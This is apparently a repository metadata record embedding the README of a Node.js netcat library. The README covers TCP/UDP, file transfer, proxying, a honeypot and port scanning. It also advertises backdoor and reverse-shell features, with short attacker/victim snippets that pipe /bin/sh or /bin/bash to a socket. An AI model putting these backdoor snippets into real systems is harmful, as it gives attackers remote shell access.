{"id":13454780,"url":"https://github.com/roccomuso/netcat","last_synced_at":"2025-05-16T18:06:49.581Z","repository":{"id":20662529,"uuid":"90549609","full_name":"roccomuso/netcat","owner":"roccomuso","description":":computer: Netcat client and server modules written in pure Javascript for Node.js.","archived":false,"fork":false,"pushed_at":"2022-03-28T12:00:22.000Z","size":162,"stargazers_count":426,"open_issues_count":9,"forks_count":44,"subscribers_count":12,"default_branch":"master","last_synced_at":"2025-04-12T16:58:28.395Z","etag":null,"topics":["client","javascript","nc","net","netcat","nodejs","pipe","scanner","socket","swissarmyknife","tcp","udp","web"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/roccomuso.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2017-05-07T17:26:40.000Z","updated_at":"2025-04-07T16:48:47.000Z","dependencies_parsed_at":"2022-08-07T09:16:12.822Z","dependency_job_id":null,"html_url":"https://github.com/roccomuso/netcat","commit_stats":null,"previous_names":[],"tags_count":3,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/roccomuso%2Fnetcat","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/roccomuso%2Fnetcat/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/roccomuso%2Fnetcat/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/roccomuso%2Fnetcat/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/roccomuso","download_url":"https://codeload.github.com/roccomuso/netcat/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254582905,"owners_count":22095518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["client","javascript","nc","net","netcat","nodejs","pipe","scanner","socket","swissarmyknife","tcp","udp","web"],"created_at":"2024-07-31T08:00:57.889Z","updated_at":"2025-05-16T18:06:49.565Z","avatar_url":"https://github.com/roccomuso.png","language":"JavaScript","funding_links":["https://patreon.com/roccomuso"],"categories":["Packages","Repository","包","\u003ca id=\"b35965810463fb97b1ca26d94a8b62f0\"\u003e\u003c/a\u003eNetcat","Misc","Network","JavaScript","\u003ca id=\"9eee96404f868f372a6cbc6769ccb7f8\"\u003e\u003c/a\u003e工具","目录","net protocol (网络库)"],"sub_categories":["Network","网络","\u003ca id=\"31185b925d5152c7469b963809ceb22d\"\u003e\u003c/a\u003e新添加的"],"readme":"# netcat\n\n[![NPM Version](https://img.shields.io/npm/v/netcat.svg)](https://www.npmjs.com/package/netcat)\n![node](https://img.shields.io/node/v/netcat.svg)\n[![Dependency Status](https://david-dm.org/roccomuso/netcat.png)](https://david-dm.org/roccomuso/netcat)\n[![JavaScript Style Guide](https://img.shields.io/badge/code_style-standard-brightgreen.svg)](https://standardjs.com)\n\u003cspan class=\"badge-patreon\"\u003e\u003ca href=\"https://patreon.com/roccomuso\" title=\"Donate to this project using Patreon\"\u003e\u003cimg src=\"https://img.shields.io/badge/patreon-donate-yellow.svg\" alt=\"Patreon donate button\" /\u003e\u003c/a\u003e\u003c/span\u003e\n\n\u003e Netcat client and server modules written in pure Javascript for Node.js.\n\nFully tested modules that implements all the basic netcat's features. To use as standalone tool install the [nc](https://github.com/roccomuso/nc) package.\n\n| Linux/Mac | Windows |\n|-----------|---------|\n| [![Build Status](https://travis-ci.org/roccomuso/netcat.svg?branch=master)](https://travis-ci.org/roccomuso/netcat) | [![Build status](https://ci.appveyor.com/api/projects/status/q4x7xwtj7ga3ppo5?svg=true)](https://ci.appveyor.com/project/roccomuso/netcat) |\n\n## What you can do :computer:\n\n- [x] TCP \u0026 UDP\n- [x] Backdoor (Reverse Shell)\n- [x] Honeypot\n- [x] File transfer\n- [x] Port forwarding\n- [x] Proxy\n- [x] Web Server\n- [x] Port scanning\n\n## Enhancement\n\n- [x] [Filter](#filter-incoming-data) incoming data.\n- [ ] Crypto.\n- [ ] Authentication (`.auth('pass')`).\n- [ ] `allow` \u0026 `deny` specific remote IP-address.\n\n## Install\n\n    $ npm install --save netcat\n\n[![NPM](https://nodei.co/npm/netcat.png?downloads=true\u0026downloadRank=true)](https://nodei.co/npm/netcat/)\n\n## Usage\n\n```javascript\nconst NetcatServer = require('netcat/server')\nconst NetcatClient = require('netcat/client')\nconst nc = new NetcatServer()\nconst nc2 = new NetcatClient()\n```\n\n## Examples\n\nThis module's API tends to follow as much as possible the original netcat's cli params.\n\nFor instance: `nc -l -p 2389` is equivalent to `nc.port(2389).listen()`. Easy right?\n\n#### Server and Client connection\n\n| Server                 | Client                             |\n|------------------------|------------------------------------|\n|`nc.port(2389).listen()`|`nc2.addr('127.0.0.1').port(2389).connect()`|\n\n#### Transfer file\n\n| Server              | Client                             |\n|---------------------|------------------------------------|\n|`nc.port(2389).listen().pipe(outputStream)`|`inputStream.pipe(nc2.port(2389).connect().stream())`|\n\nor viceversa you can do the equivalent of `nc -l -p 2389 \u003c filename.txt` and when someone else connects to your port 2389, the file is sent to them whether they wanted it or not:\n\n| Server              | Client                             |\n|---------------------|------------------------------------|\n|`nc.port(2389).serve('filename.txt').listen()`|`nc2.port(2389).connect().pipe(outputStream)`|\n\n#### Keepalive connection\n\n| Server              | Client                             |\n|---------------------|------------------------------------|\n|`nc.port(2389).k().listen()`|`inputStream.pipe(nc2.port(2389).connect().stream())`|\n\nThe server will be kept alive and not being closed after the first connection. (`k()` is an alias for `keepalive()`)\n\n#### Serve raw buffer\n\n| Server              | Client                             |\n|---------------------|------------------------------------|\n|`nc.port(2389).listen().serve(Buffer.from('Hello World'))`|`nc2.port(2389).connect().on('data', console.log)`|\n\n#### Backdoor shell\n\n| Server              | Client                             |\n|---------------------|------------------------------------|\n|`nc.port(2389).listen().exec('/bin/bash')`|`process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() )`|\n\nThe `exec()` method execute the given command and pipe together his `stdout` and `stderr` with the clients `socket`.\n\n#### Reverse shell\n\n| Attacker              | Victim                           |\n|---------------------|------------------------------------|\n|`nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout)`|`nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh')`|\n\n- [x] Upgradable to Meterpreter!\n\n#### Netcat as a proxy\n\nNetcat can be very easily configured as a proxy server:\n\n```javascript\nvar nc = new NetcatServer()\nvar nc2 = new NetcatClient()\nnc2.addr('google.com').port(80).connect()\nnc.port(8080).k().listen().proxy(nc2.stream())\n```\n\nAll the traffic flowing on `localhost:8080` will be redirected to `google.com:80`.\nSimilarly you can setup a port forwarding using the same host.\n\n#### Honeypot\n\nPretend to be an Apache server:\n\n```javascript\nvar apache = `HTTP/1.1 200 OK\nDate: Sat, 27 May 2017 16:51:02 GMT\nServer: Apache/2.4.7 (Ubuntu)\nCache-Control: public, max-age=0\nContent-Type: text/html; charset=utf-8\nContent-Length: 16894\nVary: Accept-Encoding\n`\nvar nc = new NetcatServer()\nvar logFile = fs.createWriteStream('log.txt')\nnc.port(80).k().listen().serve(Buffer.from(apache)).pipe(logFile)\n```\n\n#### Port scanning\n\nThe netcat client provides also a basic port scan functionality.\n\n```javascript\nvar nc = new NetcatClient()\nnc.addr('127.0.0.1').scan('22-80', function(ports){\n // ports: { '22': 'open', '23': 'closed' ... }\n})\n```\n\nThe port scanner is TCP protocol only. The UDP scan is not [really effective](https://en.wikipedia.org/wiki/Port_scanner#UDP_scanning). `scan(...)` accepts also an array or a integer number.\n\n#### Filter incoming data\n\n```javascript\nvar nc = new NetcatServer()\nnc.addr('127.0.0.1').port(8080).filter(function (chunk, enc, cb) {\n  // transform upper case\n  var out = chunk.toString().toUpperCase()\n  this.push(Buffer.from(out))\n  cb(null)\n}).pipe(process.stdout).connect()\n```\n\n#### Connect to a UNIX sock file\n\nBoth the Netcat server and client supports the UNIX socket conn.\nLet's use our Netcat client instance to connect to the Docker unix socket file and retrieve the list of our containers' images.\n\n```javascript\nnc2.unixSocket('/var/run/docker.sock').enc('utf8')\n  .on('data', function(res){\n    console.log(res)\n  })\n  .connect()\n  .send('GET /images/json HTTP/1.0\\r\\n\\r\\n')\n```\n\n#### UDP listen for packets\n\n```javascript\nvar nc = new NetcatServer()\nnc.udp().port(2100).listen().on('data', function (rinfo, data) {\n  console.log('Got', data.toString(), 'from', rinfo.address, rinfo.port)\n  nc.close()\n})\n```\n\n#### UDP send a packet\n\n```javascript\nvar nc2 = new NetcatClient()\nnc2.udp().port(2100).wait(1000).init().send('hello', '127.0.0.1')\n```\n\nSend the `hello` buffer to port `2100`, then after `1000` ms close the client.\n\n## API\n\n#### `port(int)` or `p(int)`\n\nNetcat can bind to any local port, subject to privilege restrictions and ports that are already in use.\n\n#### `address(host)` or `addr(host)`\n\n- When used server-side: set the local address to listen to. `0.0.0.0` by default.\n- When used client-side: set the remote address to connect to. `127.0.0.1` by default.\n\n#### `listen()`\n\nMake the UDP/TCP server listen on the previously set port.\n\n#### `unixSocket(path)` - TCP only\n\nOptionally you can provide the path to a unix sock file and listen/connect to it.\n\n#### `connect()` - TCP only\n\nClient-side only. Let the client connect to the previously set address and port.\n\n#### `retry(ms)` - TCP only\n\nClient-side only. Retry connection every `ms` milliseconds when connection is lost.\n\n#### `interval(ms)` or `i(ms)`\n\nClient-side only: Specifies a delay time interval for data sent. In milliseconds.\n\n#### `waitTime(ms)` or `wait(ms)`\n\nSet a timeout.\n\n- A server will wait `ms` milliseconds from the first data and if it doesn't get more data, will close the connection.\n- A client will wait `ms` milliseconds from the first data sent and if there's no more data to send the client will close.\n\n#### `stream()`\n\nReturn the client DuplexStream reference.\n\n#### `pipe(outStream)`\n\nPipe incoming data from the client to the given outStream.\n\n#### `filter(transformFn)`\n\nFilter the incoming data with the given transform function `function (chunk, enc, cb){...}` before being piped out.\n\n**NB**: The `.on('data', cb)` data you get is not filtered. The filter only applies on the piped `.pipe(...)` stream.\n\n**Known issue**: `through2` right now [doesn't respect](https://github.com/roccomuso/netcat/issues/4) the encoding. If you set a filter you'll get a buffer and the `enc()` method will be useless.\n\n#### `serve()`\n\nServer-side method.\n\nThe `serve` method accepts either a string (indicating a file name, make sure the file exists), a Readable stream or a Buffer.\nWhen you pass a readable stream the keepalive method could cause the stream to be consumed at the first request and no more can be served (The stream is not cached in a buffer).\n\nMoreover when serving a file or a Buffer to a socket, the pipe will emit an `end` (EOF) event to the socket. Closing the stream.\n\n#### `send(data [, cb|host])`\n\nClient-side:\n\n- in TCP: send data to the connected server. `cb` is called once the data is sent.\n- in UDP: send data to the destination address or to the given host if provided.\n\nServer-side:\n\n- in TCP: not available in tcp, use `serve()` instead.\n- in UDP: send data to the destination address or to the given host if provided.\n\n#### `end(data)` - TCP only\n\nClient-side method. Send given data and close the connection.\n\n#### `close([cb])`\n\nClose the connection (or the connections if executed server-side) and call `cb` once the socket is closed.\n\n#### `enc()`\n\nSet an encoding. The most common ones are: `utf8`, `ascii`, `base64`, `hex`, `binary`, `hex`.\n\n#### `protocol(prot)`\n\nSet a custom protocol. The use of this method is discouraged. Use the methods `tcp()` and `udp()` instead. `tcp` is the default value.\n\n#### `keepalive()` or `k()` - TCP only\n\nServer-side method.\n\nWhen you set the keepalive, the server will stay up and possibly the outStream given to `pipe(outStream)` kept open.\n\nBy default in UDP mode the listen is kept alive until an explicit `nc.close()`.\n\n#### `exec()` - TCP only\n\nThe `exec()` method execute the given command and pipe together his `stdout` and `stderr` with the clients `socket`. It optionally accepts a string and an array of args as second param and the [spawn options](https://nodejs.org/api/child_process.html#child_process_child_process_spawn_command_args_options) as third param. If a pipe char is found `|` then all the commands will be processed under a `sh -c`.\n\nExample:\n\n```javascript\nnc.p(2389).exec('base64', ['-d']).listen()\n// OR\nnc.p(2389).exec('base64 | grep hello').listen()\n```\n\n#### `getClients()` - TCP only\n\nServer-side method. Return an object listing all the client socket references.\n\n#### `proxy(duplexStream)` - TCP only\n\nServer-side method. This method pipe the server incoming/outcoming data to the provided duplexStream. It's like a shortcut for both the calls: `.serve(duplexStream)` and `.pipe(duplexStream)`.\n\n#### `output(outStream)` or `out(outStream)`\n\nWrite an Hex dump of incoming or outcoming traffic to the given writable stream `outStream`.\n\nA row represent a chunk of at least 16 bytes by default.\n\nThe first character can be either `\u003c` or `\u003e` respectively \"incoming chunk\" or \"outcoming chunk\".\n\n#### `scan(portsInterval, cb)` - TCP only\n\nThe netcat client provides also a basic port scan functionality.\n\nThe parameters are mandatories.\nThe first parameter specify the port/s to scan.\nIt can be a single integer, a string interval (like `22-80`) or an array of integer (`[22, 23, 1880]`).\nThe callback return as a result an object like `{ '22': 'open', '23': 'closed' ... }`.\n\n#### `init()` - UDP only\n\nThe UDP-equivalent of `connect()`. Just for UDP clients.\n\n#### `bind(\u003cint\u003e)` - UDP only\n\nLet the UDP client/server listen on the given port. It will also be used as outcoming port if `.port(\u003cn\u003e)` wasn't called.\n\n#### `broadcast(\u003cdst\u003e)` or `b(\u003cdst\u003e)` - UDP only\n\nSet broadcast for the UDP server (eventually you can specify a destination address).\n\n#### `destination(\u003cdst\u003e)` - UDP only\n\nSet a destination address. (`127.0.0.1` is the default value)\n\n#### `loopback()` - UDP only\n\nEnable loopback. For instance, when a UDP server is binded to a port and send a message to that port, it will get back the msg if loopback is enabled.\n\n#### `bind(int)` - UDP only\n\nBind the UDP Server/Client to listen on the given port and use the port set with `port()` only for outcoming packets.\n\n## Events\n\nThe netcat modules extends the `EventEmitter` class. You'll be able to catch some events straight from the sockets. For example the `data` event for the server:\n\n| Server              | Client                    |\n|---------------------|------------------------------------|\n|`nc.port(2389).listen().on('data', onData)`|`inputStream.pipe(nc2.port(2389).connect().stream())`|\n\n```javascript\nfunction onData (socket, chunk) {\n  console.log(socket.id, 'got', chunk) // Buffer \u003c...\u003e\n  socket.write('hello client') // reply to the client\n}\n```\n\n### Server events\n\n- `.on('data', function(sock/rinfo, msg){})`\n\nEmitted when the server gets data from the clients.\n\n- `.on('ready', cb)`\n\nEmitted when the server successfully listen/bind to a port.\n\n- `.on('close', cb)`\n\nEmitted when the server close.\n\n- `.on('clientClose', function(socket, hadError){})` - **TCP only**\n\nCalled when a client disconnects from the server.\nThe callback accepts as 1th param the `socket` instance just disconnected and a bool val `hadError`.\n\n- `.on('connection', function(socket){})` - **TCP only**\n\nEmitted when a new client connects to the server.\n\n- `.on('end', function(socket){})` - **TCP only**\n\nEmitted when a client end the connection.\n\n- `.on('timeout', function(socket){})` - **TCP only**\n\nSocket timeout event.\n\n- `.on('waitTimeout', cb)`\n\nFired when the server remains inactive for a specified `wait(ms)` time.\n\n- `.on('error', function(err){})`\n\nEmitted on error.\n\n### Client events\n\n- `.on('data', function(msg){})`\n\nData from the server.\n\n- `.on('close', cb)`\n\nEmitted when the client close.\n\n- `.on('waitTimeout', cb)`\n\nFired when the client remains inactive for a specified `wait(ms)` time.\n\n- `.on('connect', cb)` - **TCP only**\n\nEmitted when the client established a connection with a server.\n\n- `.on('error', function(err){})`\n\nEmitted on error.\n\n## CLI usage\n\nFor the standalone usage install the [nc](https://github.com/roccomuso/nc) CLI package:\n\n    $ npm install -g nc\n\nExample:\n\n    $ # Listen for inbound\n    $ nc -l -p port [- options] [hostname] [port]\n\n\nAvailable options:\n\n\n- [x] `-c shell commands    as '-e'; use /bin/sh to exec [dangerous!!]`\n- [x] `-e filename          program to exec after connect [dangerous!!]`\n- [x] `-b                   allow broadcasts`\n- [x] `-i secs              delay interval for lines sent, ports scanned (client-side)`\n- [x] `-h                   this cruft`\n- [x] `-k set               keepalive option on socket`\n- [x] `-l                   listen mode, for inbound connects`\n- [ ] `-n                   numeric-only IP addresses, no DNS`\n- [x] `-o file              hex dump of traffic`\n- [x] `-p port              local port number`\n- [ ] `-r                   randomize local and remote ports`\n- [ ] `-q secs              quit after EOF on stdin and delay of secs`\n- [x] `-s addr              local source address`\n- [x] `-u                   UDP mode`\n- [x] `-U                   Listen or connect to a UNIX domain socket`\n- [x] `-v                   verbose`\n- [x] `-w secs              timeout for connects and final net reads`\n- [x] `-z                   zero-I/O mode [used for scanning]`\n\n\n## DEBUG\n\nDebug matches the verbose mode.\nYou can enable it with the `verbose: true` param or the env var `DEBUG=netcat:*`\n\n## Tests\n\nRun them with: `npm test`\n\nCoverage:\n\n- [x] Test the `.serve(input)` method\n- [x] Tests the keepalive connection with `.pipe()` and `serve()`.\n- [x] serve can accepts both a string or a stream.\n- [x] `exec()` method\n- [x] Backdoor shell\n- [x] Proxy server\n- [x] UDP.\n\n## Author\n\nRocco Musolino ([@roccomuso](https://twitter.com/roccomuso))\n\n## License\n\nMIT\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Froccomuso%2Fnetcat","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Froccomuso%2Fnetcat","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Froccomuso%2Fnetcat/lists"}